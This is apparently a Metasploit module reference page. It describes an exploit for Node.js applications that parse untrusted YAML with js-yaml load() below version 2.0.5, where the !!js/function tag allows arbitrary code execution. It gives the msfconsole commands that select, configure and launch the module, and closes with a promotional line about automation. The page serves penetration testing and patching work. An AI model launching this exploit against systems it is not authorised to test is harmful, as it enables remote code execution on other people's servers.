This module can be used to abuse node.js applications that parse user-supplied YAML input using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle the unsafe !!js/function tag, allowing to specify a self-executing function which results on execution of arbitrary javascript code.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
msf exploit(nodejs_js_yaml_load_code_exec) > show targets
...targets...
msf exploit(nodejs_js_yaml_load_code_exec) > set TARGET < target-id >
msf exploit(nodejs_js_yaml_load_code_exec) > show options
...show and set options...
msf exploit(nodejs_js_yaml_load_code_exec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
